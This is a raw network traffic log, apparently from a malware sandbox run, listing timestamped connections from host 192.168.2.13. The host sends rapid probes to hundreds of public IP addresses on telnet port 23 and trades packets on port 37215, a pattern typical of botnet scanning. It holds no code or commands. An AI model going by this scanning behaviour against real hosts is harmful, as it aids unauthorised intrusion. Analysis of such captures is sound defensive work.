Dec 3, 2024 21:47:28.714363098 CET	37215	45998	41.227.92.100	192.168.2.13
Dec 3, 2024 21:47:28.714375973 CET	37215	36022	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:28.714396000 CET	80	58702	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:28.714407921 CET	45998	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:28.714530945 CET	37215	36022	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:28.714576006 CET	36022	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:28.714632988 CET	80	58702	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:28.714678049 CET	58702	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:28.720566988 CET	80	58800	95.231.217.193	192.168.2.13
Dec 3, 2024 21:47:28.720613003 CET	58800	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:28.720633984 CET	58800	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:28.804707050 CET	37215	41380	197.110.202.156	192.168.2.13
Dec 3, 2024 21:47:28.804898024 CET	41380	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.805059910 CET	41380	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.805073023 CET	41380	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.805123091 CET	37215	52536	41.46.145.243	192.168.2.13
Dec 3, 2024 21:47:28.805196047 CET	52536	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.805449963 CET	41418	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.805783033 CET	37215	35172	197.169.82.27	192.168.2.13
Dec 3, 2024 21:47:28.805793047 CET	52536	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.805793047 CET	52536	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.805820942 CET	35172	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.806045055 CET	52574	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.806380987 CET	35172	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.806380987 CET	35172	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.806560993 CET	37215	52388	156.63.43.37	192.168.2.13
Dec 3, 2024 21:47:28.806602955 CET	52388	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.806638002 CET	35210	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.806868076 CET	37215	40506	41.173.136.87	192.168.2.13
Dec 3, 2024 21:47:28.806915045 CET	40506	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.806972980 CET	52388	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.806972980 CET	52388	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.807225943 CET	52426	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.807389021 CET	37215	60842	41.63.17.195	192.168.2.13
Dec 3, 2024 21:47:28.807426929 CET	60842	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.807559967 CET	40506	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.807559967 CET	40506	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.807812929 CET	40544	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.807939053 CET	37215	52948	197.6.106.254	192.168.2.13
Dec 3, 2024 21:47:28.807984114 CET	52948	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.808147907 CET	60842	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.808147907 CET	60842	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.808397055 CET	60880	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.808495998 CET	37215	49982	197.18.43.124	192.168.2.13
Dec 3, 2024 21:47:28.808542967 CET	49982	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.808722019 CET	52948	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.808722019 CET	52948	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.808971882 CET	52986	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.809119940 CET	37215	35302	197.216.73.25	192.168.2.13
Dec 3, 2024 21:47:28.809164047 CET	35302	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.809310913 CET	49982	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.809310913 CET	49982	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.809575081 CET	50020	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.809909105 CET	35302	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.809909105 CET	35302	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.810163021 CET	35340	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.813635111 CET	37215	59352	156.221.166.16	192.168.2.13
Dec 3, 2024 21:47:28.816894054 CET	80	54438	168.19.35.119	192.168.2.13
Dec 3, 2024 21:47:28.817274094 CET	80	54506	168.19.35.119	192.168.2.13
Dec 3, 2024 21:47:28.817326069 CET	54506	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.817356110 CET	54506	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.824162960 CET	80	50570	191.145.49.217	192.168.2.13
Dec 3, 2024 21:47:28.824421883 CET	80	50616	191.145.49.217	192.168.2.13
Dec 3, 2024 21:47:28.824475050 CET	50616	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.824490070 CET	50616	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.840991974 CET	80	58800	95.231.217.193	192.168.2.13
Dec 3, 2024 21:47:28.841046095 CET	58800	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:28.858345985 CET	37215	59352	156.221.166.16	192.168.2.13
Dec 3, 2024 21:47:28.858360052 CET	80	54438	168.19.35.119	192.168.2.13
Dec 3, 2024 21:47:28.866333961 CET	80	50570	191.145.49.217	192.168.2.13
Dec 3, 2024 21:47:28.874861956 CET	23	60506	114.31.97.188	192.168.2.13
Dec 3, 2024 21:47:28.874999046 CET	60506	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:28.875420094 CET	33006	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:28.875837088 CET	40955	23	192.168.2.13	191.161.149.102
Dec 3, 2024 21:47:28.875837088 CET	40955	23	192.168.2.13	209.205.37.206
Dec 3, 2024 21:47:28.875837088 CET	40955	23	192.168.2.13	218.103.252.201
Dec 3, 2024 21:47:28.875847101 CET	40955	23	192.168.2.13	179.95.152.156
Dec 3, 2024 21:47:28.875854015 CET	40955	23	192.168.2.13	102.87.124.144
Dec 3, 2024 21:47:28.875859022 CET	40955	23	192.168.2.13	210.36.185.249
Dec 3, 2024 21:47:28.875873089 CET	40955	23	192.168.2.13	93.146.76.180
Dec 3, 2024 21:47:28.875878096 CET	40955	23	192.168.2.13	38.110.34.197
Dec 3, 2024 21:47:28.875879049 CET	40955	23	192.168.2.13	19.216.251.197
Dec 3, 2024 21:47:28.875878096 CET	40955	23	192.168.2.13	167.220.166.92
Dec 3, 2024 21:47:28.875880957 CET	40955	23	192.168.2.13	50.238.160.222
Dec 3, 2024 21:47:28.875891924 CET	40955	23	192.168.2.13	135.207.225.84
Dec 3, 2024 21:47:28.875905037 CET	40955	23	192.168.2.13	103.78.246.170
Dec 3, 2024 21:47:28.875910997 CET	40955	23	192.168.2.13	165.86.97.115
Dec 3, 2024 21:47:28.875914097 CET	40955	23	192.168.2.13	54.114.56.20
Dec 3, 2024 21:47:28.875916004 CET	40955	23	192.168.2.13	165.29.120.227
Dec 3, 2024 21:47:28.875917912 CET	40955	23	192.168.2.13	17.191.38.170
Dec 3, 2024 21:47:28.875916958 CET	40955	23	192.168.2.13	121.157.40.1
Dec 3, 2024 21:47:28.875922918 CET	40955	23	192.168.2.13	149.243.216.101
Dec 3, 2024 21:47:28.875933886 CET	40955	23	192.168.2.13	129.200.203.245
Dec 3, 2024 21:47:28.875936031 CET	40955	23	192.168.2.13	12.122.169.99
Dec 3, 2024 21:47:28.875941992 CET	40955	23	192.168.2.13	49.23.142.71
Dec 3, 2024 21:47:28.875960112 CET	40955	23	192.168.2.13	170.230.197.213
Dec 3, 2024 21:47:28.875967026 CET	40955	23	192.168.2.13	75.177.254.92
Dec 3, 2024 21:47:28.875967026 CET	40955	23	192.168.2.13	144.82.233.255
Dec 3, 2024 21:47:28.875971079 CET	40955	23	192.168.2.13	20.66.245.205
Dec 3, 2024 21:47:28.875971079 CET	40955	23	192.168.2.13	89.56.98.101
Dec 3, 2024 21:47:28.875986099 CET	40955	23	192.168.2.13	87.190.225.208
Dec 3, 2024 21:47:28.875989914 CET	40955	23	192.168.2.13	133.193.115.32
Dec 3, 2024 21:47:28.875996113 CET	40955	23	192.168.2.13	57.18.108.167
Dec 3, 2024 21:47:28.875996113 CET	40955	23	192.168.2.13	87.218.79.113
Dec 3, 2024 21:47:28.875996113 CET	40955	23	192.168.2.13	97.197.97.97
Dec 3, 2024 21:47:28.876007080 CET	40955	23	192.168.2.13	50.182.17.12
Dec 3, 2024 21:47:28.876008987 CET	40955	23	192.168.2.13	117.36.193.23
Dec 3, 2024 21:47:28.876020908 CET	40955	23	192.168.2.13	25.10.87.97
Dec 3, 2024 21:47:28.876033068 CET	40955	23	192.168.2.13	223.19.214.118
Dec 3, 2024 21:47:28.876034021 CET	40955	23	192.168.2.13	221.214.255.211
Dec 3, 2024 21:47:28.876039982 CET	40955	23	192.168.2.13	125.224.204.148
Dec 3, 2024 21:47:28.876039982 CET	40955	23	192.168.2.13	76.108.143.80
Dec 3, 2024 21:47:28.876044035 CET	40955	23	192.168.2.13	112.232.249.227
Dec 3, 2024 21:47:28.876056910 CET	40955	23	192.168.2.13	121.183.197.212
Dec 3, 2024 21:47:28.876064062 CET	40955	23	192.168.2.13	153.216.103.135
Dec 3, 2024 21:47:28.876072884 CET	40955	23	192.168.2.13	106.14.194.29
Dec 3, 2024 21:47:28.876072884 CET	40955	23	192.168.2.13	212.170.23.199
Dec 3, 2024 21:47:28.876072884 CET	40955	23	192.168.2.13	181.181.189.6
Dec 3, 2024 21:47:28.876086950 CET	40955	23	192.168.2.13	70.91.72.7
Dec 3, 2024 21:47:28.876091957 CET	40955	23	192.168.2.13	212.179.41.106
Dec 3, 2024 21:47:28.876096010 CET	40955	23	192.168.2.13	123.191.109.250
Dec 3, 2024 21:47:28.876099110 CET	40955	23	192.168.2.13	23.82.193.86
Dec 3, 2024 21:47:28.876104116 CET	40955	23	192.168.2.13	36.35.4.38
Dec 3, 2024 21:47:28.876121044 CET	40955	23	192.168.2.13	181.131.73.67
Dec 3, 2024 21:47:28.876123905 CET	40955	23	192.168.2.13	161.114.48.117
Dec 3, 2024 21:47:28.876136065 CET	40955	23	192.168.2.13	98.189.79.162
Dec 3, 2024 21:47:28.876136065 CET	40955	23	192.168.2.13	211.227.65.58
Dec 3, 2024 21:47:28.876136065 CET	40955	23	192.168.2.13	4.82.111.199
Dec 3, 2024 21:47:28.876149893 CET	40955	23	192.168.2.13	179.206.178.82
Dec 3, 2024 21:47:28.876152039 CET	40955	23	192.168.2.13	202.225.14.21
Dec 3, 2024 21:47:28.876161098 CET	40955	23	192.168.2.13	48.115.159.174
Dec 3, 2024 21:47:28.876162052 CET	40955	23	192.168.2.13	48.65.107.161
Dec 3, 2024 21:47:28.876183987 CET	40955	23	192.168.2.13	191.101.145.245
Dec 3, 2024 21:47:28.876190901 CET	40955	23	192.168.2.13	193.208.214.232
Dec 3, 2024 21:47:28.876192093 CET	40955	23	192.168.2.13	18.67.220.221
Dec 3, 2024 21:47:28.876194000 CET	40955	23	192.168.2.13	164.226.34.159
Dec 3, 2024 21:47:28.876194000 CET	40955	23	192.168.2.13	188.224.121.74
Dec 3, 2024 21:47:28.876199007 CET	40955	23	192.168.2.13	8.16.126.186
Dec 3, 2024 21:47:28.876199007 CET	40955	23	192.168.2.13	27.98.248.246
Dec 3, 2024 21:47:28.876199007 CET	40955	23	192.168.2.13	108.172.243.170
Dec 3, 2024 21:47:28.876199007 CET	40955	23	192.168.2.13	141.188.51.137
Dec 3, 2024 21:47:28.876199007 CET	40955	23	192.168.2.13	168.17.4.238
Dec 3, 2024 21:47:28.876209021 CET	40955	23	192.168.2.13	168.120.202.63
Dec 3, 2024 21:47:28.876209021 CET	40955	23	192.168.2.13	122.98.66.94
Dec 3, 2024 21:47:28.876209974 CET	40955	23	192.168.2.13	120.250.38.173
Dec 3, 2024 21:47:28.876214027 CET	40955	23	192.168.2.13	108.182.65.11
Dec 3, 2024 21:47:28.876214027 CET	40955	23	192.168.2.13	222.141.248.251
Dec 3, 2024 21:47:28.876230955 CET	40955	23	192.168.2.13	126.196.33.98
Dec 3, 2024 21:47:28.876231909 CET	40955	23	192.168.2.13	14.240.152.31
Dec 3, 2024 21:47:28.876230955 CET	40955	23	192.168.2.13	131.156.78.197
Dec 3, 2024 21:47:28.876240969 CET	40955	23	192.168.2.13	119.70.151.181
Dec 3, 2024 21:47:28.876245975 CET	40955	23	192.168.2.13	144.49.82.105
Dec 3, 2024 21:47:28.876262903 CET	40955	23	192.168.2.13	98.87.145.28
Dec 3, 2024 21:47:28.876265049 CET	40955	23	192.168.2.13	54.179.74.116
Dec 3, 2024 21:47:28.876269102 CET	40955	23	192.168.2.13	181.2.151.121
Dec 3, 2024 21:47:28.876271009 CET	40955	23	192.168.2.13	159.180.12.20
Dec 3, 2024 21:47:28.876271963 CET	40955	23	192.168.2.13	89.120.197.68
Dec 3, 2024 21:47:28.876281977 CET	40955	23	192.168.2.13	53.53.247.80
Dec 3, 2024 21:47:28.876290083 CET	40955	23	192.168.2.13	183.187.4.231
Dec 3, 2024 21:47:28.876291037 CET	40955	23	192.168.2.13	115.36.169.205
Dec 3, 2024 21:47:28.876296043 CET	40955	23	192.168.2.13	186.245.125.164
Dec 3, 2024 21:47:28.876305103 CET	40955	23	192.168.2.13	149.2.39.234
Dec 3, 2024 21:47:28.876315117 CET	40955	23	192.168.2.13	121.5.201.119
Dec 3, 2024 21:47:28.876319885 CET	40955	23	192.168.2.13	117.64.90.27
Dec 3, 2024 21:47:28.876329899 CET	40955	23	192.168.2.13	82.4.197.143
Dec 3, 2024 21:47:28.876334906 CET	40955	23	192.168.2.13	111.39.250.81
Dec 3, 2024 21:47:28.876334906 CET	40955	23	192.168.2.13	105.184.60.135
Dec 3, 2024 21:47:28.876342058 CET	40955	23	192.168.2.13	74.7.244.203
Dec 3, 2024 21:47:28.876358032 CET	40955	23	192.168.2.13	100.222.174.111
Dec 3, 2024 21:47:28.876362085 CET	40955	23	192.168.2.13	87.59.251.112
Dec 3, 2024 21:47:28.876377106 CET	40955	23	192.168.2.13	204.102.29.46
Dec 3, 2024 21:47:28.876378059 CET	40955	23	192.168.2.13	208.9.134.210
Dec 3, 2024 21:47:28.876377106 CET	40955	23	192.168.2.13	101.190.218.62
Dec 3, 2024 21:47:28.876394987 CET	40955	23	192.168.2.13	109.125.92.61
Dec 3, 2024 21:47:28.876396894 CET	40955	23	192.168.2.13	99.60.82.128
Dec 3, 2024 21:47:28.876398087 CET	40955	23	192.168.2.13	172.214.174.141
Dec 3, 2024 21:47:28.876416922 CET	40955	23	192.168.2.13	38.156.187.115
Dec 3, 2024 21:47:28.876416922 CET	40955	23	192.168.2.13	154.161.56.102
Dec 3, 2024 21:47:28.876435041 CET	40955	23	192.168.2.13	105.214.124.245
Dec 3, 2024 21:47:28.876436949 CET	40955	23	192.168.2.13	209.126.151.11
Dec 3, 2024 21:47:28.876451015 CET	40955	23	192.168.2.13	143.79.133.18
Dec 3, 2024 21:47:28.876456976 CET	40955	23	192.168.2.13	87.66.140.11
Dec 3, 2024 21:47:28.876462936 CET	40955	23	192.168.2.13	193.173.63.227
Dec 3, 2024 21:47:28.876466036 CET	40955	23	192.168.2.13	193.140.201.223
Dec 3, 2024 21:47:28.876493931 CET	40955	23	192.168.2.13	144.69.38.59
Dec 3, 2024 21:47:28.876493931 CET	40955	23	192.168.2.13	86.175.124.68
Dec 3, 2024 21:47:28.876494884 CET	40955	23	192.168.2.13	120.24.67.13
Dec 3, 2024 21:47:28.876494884 CET	40955	23	192.168.2.13	182.119.63.22
Dec 3, 2024 21:47:28.876502037 CET	40955	23	192.168.2.13	182.49.19.235
Dec 3, 2024 21:47:28.876503944 CET	40955	23	192.168.2.13	41.95.221.118
Dec 3, 2024 21:47:28.876504898 CET	40955	23	192.168.2.13	9.200.205.141
Dec 3, 2024 21:47:28.876503944 CET	40955	23	192.168.2.13	70.13.163.114
Dec 3, 2024 21:47:28.876507044 CET	40955	23	192.168.2.13	202.106.184.90
Dec 3, 2024 21:47:28.876507044 CET	40955	23	192.168.2.13	57.18.211.14
Dec 3, 2024 21:47:28.876507044 CET	40955	23	192.168.2.13	182.193.185.199
Dec 3, 2024 21:47:28.876511097 CET	40955	23	192.168.2.13	153.139.175.69
Dec 3, 2024 21:47:28.876511097 CET	40955	23	192.168.2.13	109.79.80.34
Dec 3, 2024 21:47:28.876513958 CET	40955	23	192.168.2.13	81.189.235.229
Dec 3, 2024 21:47:28.876523972 CET	40955	23	192.168.2.13	194.234.2.169
Dec 3, 2024 21:47:28.876524925 CET	40955	23	192.168.2.13	18.19.16.178
Dec 3, 2024 21:47:28.876524925 CET	40955	23	192.168.2.13	107.62.129.182
Dec 3, 2024 21:47:28.876524925 CET	40955	23	192.168.2.13	36.205.2.210
Dec 3, 2024 21:47:28.876533031 CET	40955	23	192.168.2.13	200.97.126.130
Dec 3, 2024 21:47:28.876545906 CET	40955	23	192.168.2.13	71.241.2.21
Dec 3, 2024 21:47:28.876545906 CET	40955	23	192.168.2.13	134.105.176.134
Dec 3, 2024 21:47:28.876554012 CET	40955	23	192.168.2.13	43.205.163.107
Dec 3, 2024 21:47:28.876562119 CET	40955	23	192.168.2.13	90.80.169.163
Dec 3, 2024 21:47:28.876573086 CET	40955	23	192.168.2.13	202.92.218.29
Dec 3, 2024 21:47:28.876573086 CET	40955	23	192.168.2.13	104.221.26.209
Dec 3, 2024 21:47:28.876578093 CET	40955	23	192.168.2.13	18.61.191.94
Dec 3, 2024 21:47:28.876594067 CET	40955	23	192.168.2.13	2.34.231.162
Dec 3, 2024 21:47:28.876596928 CET	40955	23	192.168.2.13	105.158.154.56
Dec 3, 2024 21:47:28.876601934 CET	40955	23	192.168.2.13	159.130.85.244
Dec 3, 2024 21:47:28.876602888 CET	40955	23	192.168.2.13	12.183.143.12
Dec 3, 2024 21:47:28.876619101 CET	40955	23	192.168.2.13	197.73.54.235
Dec 3, 2024 21:47:28.876619101 CET	40955	23	192.168.2.13	192.218.150.251
Dec 3, 2024 21:47:28.876626015 CET	40955	23	192.168.2.13	65.207.88.18
Dec 3, 2024 21:47:28.876626968 CET	40955	23	192.168.2.13	107.176.0.228
Dec 3, 2024 21:47:28.876626968 CET	40955	23	192.168.2.13	142.240.42.53
Dec 3, 2024 21:47:28.876646042 CET	40955	23	192.168.2.13	196.15.7.233
Dec 3, 2024 21:47:28.876646996 CET	40955	23	192.168.2.13	81.53.196.20
Dec 3, 2024 21:47:28.876646996 CET	40955	23	192.168.2.13	110.27.128.15
Dec 3, 2024 21:47:28.876653910 CET	40955	23	192.168.2.13	58.233.255.15
Dec 3, 2024 21:47:28.876660109 CET	40955	23	192.168.2.13	59.10.108.166
Dec 3, 2024 21:47:28.876672029 CET	40955	23	192.168.2.13	201.106.46.31
Dec 3, 2024 21:47:28.876682997 CET	40955	23	192.168.2.13	126.127.158.62
Dec 3, 2024 21:47:28.876683950 CET	40955	23	192.168.2.13	13.185.45.80
Dec 3, 2024 21:47:28.876683950 CET	40955	23	192.168.2.13	169.7.72.73
Dec 3, 2024 21:47:28.876688004 CET	40955	23	192.168.2.13	133.219.121.135
Dec 3, 2024 21:47:28.876688004 CET	40955	23	192.168.2.13	159.58.35.85
Dec 3, 2024 21:47:28.876689911 CET	40955	23	192.168.2.13	39.210.92.184
Dec 3, 2024 21:47:28.876697063 CET	40955	23	192.168.2.13	185.246.100.71
Dec 3, 2024 21:47:28.876715899 CET	40955	23	192.168.2.13	86.164.128.126
Dec 3, 2024 21:47:28.876727104 CET	40955	23	192.168.2.13	100.217.156.87
Dec 3, 2024 21:47:28.876729012 CET	40955	23	192.168.2.13	97.82.88.114
Dec 3, 2024 21:47:28.876733065 CET	40955	23	192.168.2.13	47.124.174.231
Dec 3, 2024 21:47:28.876749039 CET	40955	23	192.168.2.13	191.191.239.225
Dec 3, 2024 21:47:28.876749039 CET	40955	23	192.168.2.13	38.14.58.101
Dec 3, 2024 21:47:28.876760960 CET	40955	23	192.168.2.13	118.225.200.71
Dec 3, 2024 21:47:28.876761913 CET	40955	23	192.168.2.13	192.206.131.43
Dec 3, 2024 21:47:28.876770973 CET	40955	23	192.168.2.13	147.231.176.169
Dec 3, 2024 21:47:28.876775026 CET	40955	23	192.168.2.13	146.208.82.239
Dec 3, 2024 21:47:28.876784086 CET	40955	23	192.168.2.13	120.127.226.219
Dec 3, 2024 21:47:28.876796007 CET	40955	23	192.168.2.13	43.233.67.199
Dec 3, 2024 21:47:28.876801968 CET	40955	23	192.168.2.13	134.242.178.254
Dec 3, 2024 21:47:28.876806021 CET	40955	23	192.168.2.13	222.183.16.251
Dec 3, 2024 21:47:28.876816034 CET	40955	23	192.168.2.13	141.31.228.243
Dec 3, 2024 21:47:28.876816988 CET	40955	23	192.168.2.13	182.155.132.190
Dec 3, 2024 21:47:28.876821995 CET	40955	23	192.168.2.13	171.162.72.229
Dec 3, 2024 21:47:28.876833916 CET	40955	23	192.168.2.13	208.182.160.28
Dec 3, 2024 21:47:28.876841068 CET	40955	23	192.168.2.13	139.135.9.157
Dec 3, 2024 21:47:28.876842022 CET	40955	23	192.168.2.13	109.32.250.21
Dec 3, 2024 21:47:28.876849890 CET	40955	23	192.168.2.13	208.17.77.88
Dec 3, 2024 21:47:28.876853943 CET	40955	23	192.168.2.13	194.224.41.56
Dec 3, 2024 21:47:28.876867056 CET	40955	23	192.168.2.13	151.52.224.206
Dec 3, 2024 21:47:28.876869917 CET	40955	23	192.168.2.13	146.249.86.20
Dec 3, 2024 21:47:28.876871109 CET	40955	23	192.168.2.13	97.225.129.231
Dec 3, 2024 21:47:28.876890898 CET	40955	23	192.168.2.13	85.93.140.129
Dec 3, 2024 21:47:28.876890898 CET	40955	23	192.168.2.13	5.24.213.206
Dec 3, 2024 21:47:28.876894951 CET	40955	23	192.168.2.13	58.70.44.127
Dec 3, 2024 21:47:28.876909018 CET	40955	23	192.168.2.13	199.9.17.96
Dec 3, 2024 21:47:28.876909971 CET	40955	23	192.168.2.13	58.133.30.203
Dec 3, 2024 21:47:28.876912117 CET	40955	23	192.168.2.13	65.243.115.193
Dec 3, 2024 21:47:28.876912117 CET	40955	23	192.168.2.13	20.149.225.216
Dec 3, 2024 21:47:28.876929045 CET	40955	23	192.168.2.13	96.102.91.139
Dec 3, 2024 21:47:28.876929045 CET	40955	23	192.168.2.13	31.97.219.247
Dec 3, 2024 21:47:28.876940966 CET	40955	23	192.168.2.13	43.151.85.2
Dec 3, 2024 21:47:28.876945019 CET	40955	23	192.168.2.13	139.8.51.190
Dec 3, 2024 21:47:28.876955986 CET	40955	23	192.168.2.13	165.158.76.104
Dec 3, 2024 21:47:28.876956940 CET	40955	23	192.168.2.13	69.218.112.204
Dec 3, 2024 21:47:28.876959085 CET	40955	23	192.168.2.13	13.219.30.96
Dec 3, 2024 21:47:28.876977921 CET	40955	23	192.168.2.13	77.191.237.58
Dec 3, 2024 21:47:28.876977921 CET	40955	23	192.168.2.13	164.89.88.180
Dec 3, 2024 21:47:28.876981974 CET	40955	23	192.168.2.13	205.48.172.194
Dec 3, 2024 21:47:28.876981974 CET	40955	23	192.168.2.13	170.145.56.70
Dec 3, 2024 21:47:28.876985073 CET	40955	23	192.168.2.13	106.182.132.249
Dec 3, 2024 21:47:28.876997948 CET	40955	23	192.168.2.13	202.91.100.184
Dec 3, 2024 21:47:28.877000093 CET	40955	23	192.168.2.13	219.216.116.80
Dec 3, 2024 21:47:28.877007961 CET	40955	23	192.168.2.13	104.134.13.58
Dec 3, 2024 21:47:28.877015114 CET	40955	23	192.168.2.13	68.71.154.3
Dec 3, 2024 21:47:28.877028942 CET	40955	23	192.168.2.13	153.114.87.208
Dec 3, 2024 21:47:28.877033949 CET	40955	23	192.168.2.13	166.94.255.79
Dec 3, 2024 21:47:28.877043009 CET	40955	23	192.168.2.13	61.218.197.94
Dec 3, 2024 21:47:28.877048969 CET	40955	23	192.168.2.13	205.85.76.1
Dec 3, 2024 21:47:28.877055883 CET	40955	23	192.168.2.13	79.5.48.41
Dec 3, 2024 21:47:28.877063990 CET	40955	23	192.168.2.13	90.248.15.54
Dec 3, 2024 21:47:28.877065897 CET	40955	23	192.168.2.13	103.239.83.103
Dec 3, 2024 21:47:28.877065897 CET	40955	23	192.168.2.13	143.184.187.32
Dec 3, 2024 21:47:28.877077103 CET	40955	23	192.168.2.13	135.213.76.235
Dec 3, 2024 21:47:28.877084970 CET	40955	23	192.168.2.13	135.190.181.141
Dec 3, 2024 21:47:28.877084970 CET	40955	23	192.168.2.13	9.249.78.88
Dec 3, 2024 21:47:28.877093077 CET	40955	23	192.168.2.13	47.150.200.176
Dec 3, 2024 21:47:28.877114058 CET	40955	23	192.168.2.13	202.26.148.143
Dec 3, 2024 21:47:28.877114058 CET	40955	23	192.168.2.13	149.163.183.50
Dec 3, 2024 21:47:28.877115965 CET	40955	23	192.168.2.13	150.96.70.185
Dec 3, 2024 21:47:28.877129078 CET	40955	23	192.168.2.13	117.115.69.72
Dec 3, 2024 21:47:28.877132893 CET	40955	23	192.168.2.13	151.141.54.15
Dec 3, 2024 21:47:28.877132893 CET	40955	23	192.168.2.13	120.232.84.134
Dec 3, 2024 21:47:28.877140045 CET	40955	23	192.168.2.13	19.109.62.189
Dec 3, 2024 21:47:28.877156973 CET	40955	23	192.168.2.13	169.75.92.23
Dec 3, 2024 21:47:28.877160072 CET	40955	23	192.168.2.13	13.163.189.135
Dec 3, 2024 21:47:28.877163887 CET	40955	23	192.168.2.13	202.132.121.3
Dec 3, 2024 21:47:28.877167940 CET	40955	23	192.168.2.13	175.62.217.23
Dec 3, 2024 21:47:28.877177000 CET	40955	23	192.168.2.13	74.254.155.66
Dec 3, 2024 21:47:28.877182961 CET	40955	23	192.168.2.13	139.98.78.83
Dec 3, 2024 21:47:28.877197027 CET	40955	23	192.168.2.13	137.95.64.24
Dec 3, 2024 21:47:28.877197027 CET	40955	23	192.168.2.13	208.89.246.116
Dec 3, 2024 21:47:28.877208948 CET	40955	23	192.168.2.13	43.106.8.178
Dec 3, 2024 21:47:28.877213001 CET	40955	23	192.168.2.13	72.230.121.231
Dec 3, 2024 21:47:28.877214909 CET	40955	23	192.168.2.13	73.48.223.77
Dec 3, 2024 21:47:28.877214909 CET	40955	23	192.168.2.13	163.140.153.90
Dec 3, 2024 21:47:28.877218962 CET	40955	23	192.168.2.13	99.231.81.40
Dec 3, 2024 21:47:28.877227068 CET	40955	23	192.168.2.13	97.226.212.192
Dec 3, 2024 21:47:28.877238989 CET	40955	23	192.168.2.13	204.99.232.249
Dec 3, 2024 21:47:28.877243996 CET	40955	23	192.168.2.13	167.178.221.211
Dec 3, 2024 21:47:28.877243996 CET	40955	23	192.168.2.13	154.5.245.86
Dec 3, 2024 21:47:28.877247095 CET	40955	23	192.168.2.13	65.99.91.197
Dec 3, 2024 21:47:28.877259970 CET	40955	23	192.168.2.13	111.74.92.144
Dec 3, 2024 21:47:28.877264023 CET	40955	23	192.168.2.13	121.141.230.113
Dec 3, 2024 21:47:28.877271891 CET	40955	23	192.168.2.13	27.211.5.117
Dec 3, 2024 21:47:28.877278090 CET	40955	23	192.168.2.13	113.172.9.179
Dec 3, 2024 21:47:28.877279997 CET	40955	23	192.168.2.13	119.137.2.40
Dec 3, 2024 21:47:28.877294064 CET	40955	23	192.168.2.13	216.31.126.43
Dec 3, 2024 21:47:28.877296925 CET	40955	23	192.168.2.13	114.184.32.195
Dec 3, 2024 21:47:28.877305984 CET	40955	23	192.168.2.13	193.25.35.143
Dec 3, 2024 21:47:28.877314091 CET	40955	23	192.168.2.13	57.62.66.142
Dec 3, 2024 21:47:28.877314091 CET	40955	23	192.168.2.13	140.52.167.58
Dec 3, 2024 21:47:28.877321959 CET	40955	23	192.168.2.13	14.26.54.122
Dec 3, 2024 21:47:28.877331018 CET	40955	23	192.168.2.13	202.95.2.44
Dec 3, 2024 21:47:28.877341032 CET	40955	23	192.168.2.13	152.184.134.0
Dec 3, 2024 21:47:28.877351999 CET	40955	23	192.168.2.13	102.240.215.217
Dec 3, 2024 21:47:28.877352953 CET	40955	23	192.168.2.13	204.22.15.51
Dec 3, 2024 21:47:28.877357960 CET	40955	23	192.168.2.13	195.151.88.217
Dec 3, 2024 21:47:28.877363920 CET	40955	23	192.168.2.13	208.144.14.43
Dec 3, 2024 21:47:28.877370119 CET	40955	23	192.168.2.13	158.112.166.9
Dec 3, 2024 21:47:28.877382994 CET	40955	23	192.168.2.13	202.122.98.80
Dec 3, 2024 21:47:28.877388000 CET	40955	23	192.168.2.13	209.147.1.150
Dec 3, 2024 21:47:28.877388954 CET	40955	23	192.168.2.13	70.252.89.179
Dec 3, 2024 21:47:28.877393961 CET	40955	23	192.168.2.13	189.174.196.76
